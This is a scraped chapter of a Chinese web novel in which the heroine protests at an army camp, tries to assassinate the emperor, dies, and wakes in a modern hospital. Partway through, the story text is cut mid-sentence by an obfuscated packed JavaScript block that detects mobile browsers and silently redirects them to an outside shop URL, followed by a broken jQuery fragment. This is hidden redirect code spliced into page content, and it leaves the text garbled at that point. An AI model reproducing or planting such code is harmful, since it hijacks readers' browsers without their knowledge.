卫箫吟目送孟云栖跟着胡占山等人一步步没入竹林的阴影里,再也没有回头。直到指尖传来刺骨的冰凉,她才恍然惊觉自己已在风中僵立了许久。
次日,天色未明,她向山下的樵夫打听了京营大致方位,便匆匆下山,一路疾行,风尘仆仆地赶到辕门外。
守门的兵卒见她一介布衣女子,只当是寻常闹事的村妇,毫不客气地拦下:“军营重地,妇人不得靠近!速速离去!”
卫箫吟不理,提气朝营内高声呼喊:“胡占山你滚出来!把他还给我!”
见营内毫无反应,她继续一遍遍地喊,胡占山的身影却始终未曾出现。
守门的小兵起初还呵斥几句,见她恍若未闻,便也懒得再理,只当她是个疯妇。
午后,卫箫吟就着冷水啃完干硬的饼子,竟直接盘膝在辕门外席地而坐。她深吸一口气,运足了气力,继续呼喊。
“胡占山,忘了是谁在你走投无路时给你指了条明路吗?如今你攀了高枝,就忘恩负义,助纣为虐!把孟云栖交出来!”
字字句句,掷地有声。
那守门的小兵脸色一变,连忙执戟上前驱赶:“疯妇!再胡言乱语,休怪军法无情!”
卫箫吟站起身,非但不退,反而梗着脖子迎了上去:“有本事你就杀了我!我今日既来了,就没打算活着回去!除非你们把人交到我面前,否则,我就在这儿喊到地老天荒!让所有人都听听,你们京营的左将军,是个怎样背信弃义的小人!”
小兵被她这不要命的气势慑住,终究不敢真下杀手,只得骂骂咧咧地退回去。
卫箫吟当真说到做到。她喊累了就歇,歇够了再喊,后来甚至让木材行里的樵夫伙计轮流陪她在营外叫阵。
直到某日,一群士兵突然冲出,不由分说抓走了两个叫得最响的樵夫,投入营中再无声息。其余几人吓得魂飞魄散,再无人敢来。
卫箫吟只得心如死灰地回到山中,坐到书桌前铺纸磨墨,开始书写一个全新的故事:一个名叫胡占山的土匪,如何沦为权贵鹰犬,卖友求荣、鱼肉百姓的故事。
她将这话本散给城中的说书先生和戏园,甚至请识字的人在茶楼酒肆大声诵读。不过几日,胡占山的名字在京城百姓口中,就成了卑鄙无耻的代名词。
恰逢京营休沐,胡占山难得进城散心,却发现自己无论走到哪里,都有人对他指指点点。甚至有人远远啐他一口,或故意将烂菜叶扔到他身上。
他想喝退对方,换来的却是更响的嘘声。忍无可忍,他只得找上了卫箫吟的门。
卫箫吟仿佛早料到他会来,静静坐在院中,毫不意外地看着这个一身煞气闯入的不速之客。
胡占山胸膛剧烈起伏,指着她的鼻子颤声质问:“你知道他临死前求我什么吗?他求我无论如何要放过你,可你却在糟蹋他用命换来的平安!你对得起他吗?”
卫箫吟如遭雷击,甚至顾不上胡占山那兴师问罪的态度,扑上前死死抓住他的手臂:“你说什么?皇上为什么让你杀他?”
胡占山被她眼中的绝望与恨意灼痛,甩开她的手,别开了视线。
见他沉默,卫箫吟索性不再追问,忽然转身向院外冲去。
胡占山一惊,急忙横身拦住她:“你要干什么!”
卫箫吟停下脚步,一字一句冷声道:“放手!我要去找孟鸿义,我要杀了他!”
“你疯了?”胡占山不敢置信,“那是皇帝!紫禁城守卫森严,你连宫门都进不去,这不是去送死吗?”
“皇帝怎么了?”卫箫吟冷笑道,“他杀了我夫君,我便不能杀他吗?胡占山,你何时变得如此扭捏作态?你的刀,如今只敢对着平民百姓和昔日恩人了吗?”
胡占山面红耳赤,又急又怒,却仍死死挡在门前:“你想想卫家!你若真去行刺,无论成败,都是诛九族的大罪,他们会是什么下场?你忍心让他们为你陪葬,死后不得安宁吗?”
卫箫吟浑身一震,只挣扎了一瞬,另一个冷酷的念头又迅速浮上脑海:杀了皇帝,然后立刻自尽,这个世界还会再次循环重启。下一次他们一定躲得远远的,绝不让皇帝找到,也绝不会连累任何人!
她慢慢平静下来,不再与胡占山争辩,只淡淡道:“我知道了,你走吧。”
胡占山满腹狐疑,还想再说什么,却被她空洞的眼神堵了回去,只得重重叹了口气,转身步履沉重地离开了。
她不是不想杀胡占山,只是不想惊动她最想杀的那个人。
院门合上,卫箫吟瘫坐在椅子上,眼泪无声滚落,迅速浸湿了衣襟。她哭得浑身脱力,意识模糊,不知何时,竟趴在桌上沉沉睡去。
梦里,门似乎被推开了。她听见那阵熟悉的脚步声,心脏狂跳,却不敢回头,生怕又是幻觉。
直到一双手臂从背后轻轻环住她的腰,她又听见了那个令她魂牵梦萦的声音:“莹莹,我回来了。”
狂喜如海啸般将她淹没,她倏然回头,却只对上满室清冷的月光。
原来,又是一场梦。
她怔怔地坐了很久,慢慢擦干脸上的泪痕,眼神再无彷徨。
次日,她去集市买了一把打造得异常锋利的匕首,将它贴身藏好,然后开始安静地等待。
她知道,皇帝每年盛夏都会去西郊避暑山庄,今年也不例外。
那日,山庄外御道两侧早早戒严,但仍有不少百姓围观圣驾。卫箫吟换了一身不起眼的灰布衣裙,头发用布巾包起,悄无声息地混在人群中。
为了这一天,她等待的每个日夜都仿佛抽筋剥骨般难熬,所以即使会失败,她也一定不能放弃。
旌旗仪仗迤逦而来,甲胄鲜明的御林军肃穆开道。卫箫吟屏住呼吸,死死盯着渐行渐近的明黄华盖,全身绷紧,如同蓄势待发的弓弦。
当皇帝的车驾终于行至眼前,她眼中厉色一闪,猛地拨开身前的人群,义无反顾地冲了过去。
然而,她的冲锋在森严的守卫面前显得如此渺小。甚至未能靠近车辇十步之内,御林军手中雪亮的刀光已然带着令人窒息的杀意,朝她无情地压了下来。
温热的液体瞬间浸透了衣衫,她像一片被狂风卷起的落叶,轻飘飘地向后跌去,所有力气随着生命的流逝迅速抽离。
在意识沉入黑暗的前一瞬,那个久违的声音忽然在她脑海里欢呼着响起:
【恭喜宿主,第
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785258|205233||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
九章《殒身》主线进度已完成。】
【全书核心剧情线已完成,所有角色设定已回归初始值,欢迎回到现实世界。】
卫箫吟这才想起,她的“樵夫”已经死了。没想到,她竟然就要这样抛下他,独自回到现实。
她徒劳地挣扎着,想要抓住什么,却只能坠向一片虚无。
她不相信原主就这样放过她了,可是也许这样对她来说,才是最残酷的惩罚。
耳边传来单调的“滴滴”声响和模糊的人语声,萧莹缓缓睁开眼望向晃动的灯光,嗅到了一股刺鼻的消毒水味。
“医生!3床的病人醒了!”一个年轻女声惊喜地呼唤道。
杂乱的脚步声聚到床头,她感受到手电筒的刺目光线,顿时不适地蹙起眉头。
“萧莹,能听见吗?试着动动手指。”一个温和的男声在耳边关切地问。
萧莹混沌的脑子像被一道闪电劈中,急切地循声望去。
映入眼帘的是一张戴着医用口罩的脸,只露出一双沉静的眼眸。
“云齐?”惊喜来得太突然,她干裂的嘴唇翕动,不敢置信。
那医生眼底闪过一线光,随即恢复了镇静,若无其事地调整了一下输液管:“嗯,意识恢复得不错。还知道我叫什么名字。”
真的是他!虽然遮去半张脸,但那眉眼,那身形,那感觉……绝不会错!
可是紧接着,萧莹的心又被他过于平静的语气刺痛,仿佛于他而言,她只是一个陌生人而已。
“云齐……”她以为他意图戏弄,又试探着轻唤一声,希望他能褪去伪装,露出哪怕一丝一毫的哀怜。
他却没再回应,只微微偏头看了一眼床头的仪器,转身嘱咐身旁的护士:“监测生命体征,两小时后复查。”
他的衣角在她手边轻轻拂过,她本能地动了动手指,想要抓住,但指尖刚抬起,他已经走向了隔壁病床。
她的手又慢慢落回床单上,身体依然沉重得不听使唤。剧烈的眩晕袭来,她只能大口喘息着,泪水慢慢涌出眼眶。
她开始默默回忆方才他的每一个动作,试图抓住哪怕一个他心软犹豫的瞬间,却越想越觉得自己可悲。
她想叫住他,奈何声音嘶哑微弱,只能眼睁睁看着他的背影消失在病房门口,如同无数次在梦中那样。
接下来一段时间,萧莹如同置身于一个真实与虚幻交织的迷宫中。她努力活动麻木的腿脚下床,双腿一软,又连忙稳住身形,不管不顾地跑到护士站问:“请问云医生在吗?我要见他!”
值班的护士露出一个了然的笑容:“他刚下夜班,回去休息了。你是他病人吧?明天查房你就能见到他了。”
显然,年轻英俊的云医生有几个爱慕者,并不稀奇。
她等过他那么久,如今他近在眼前,她难道还怕再等这区区十几个小时吗?
从护士和随后赶来的室友口中,她拼凑出了自己在“现实世界”的情况:连续熬夜赶稿,低血糖加疲劳过度,在出租屋里晕倒,被合租的室友小越发现送来了医院。
如果这一切真的只是一场梦,那未必也太逼真了,她不想承认自己已经可怜到了那种地步。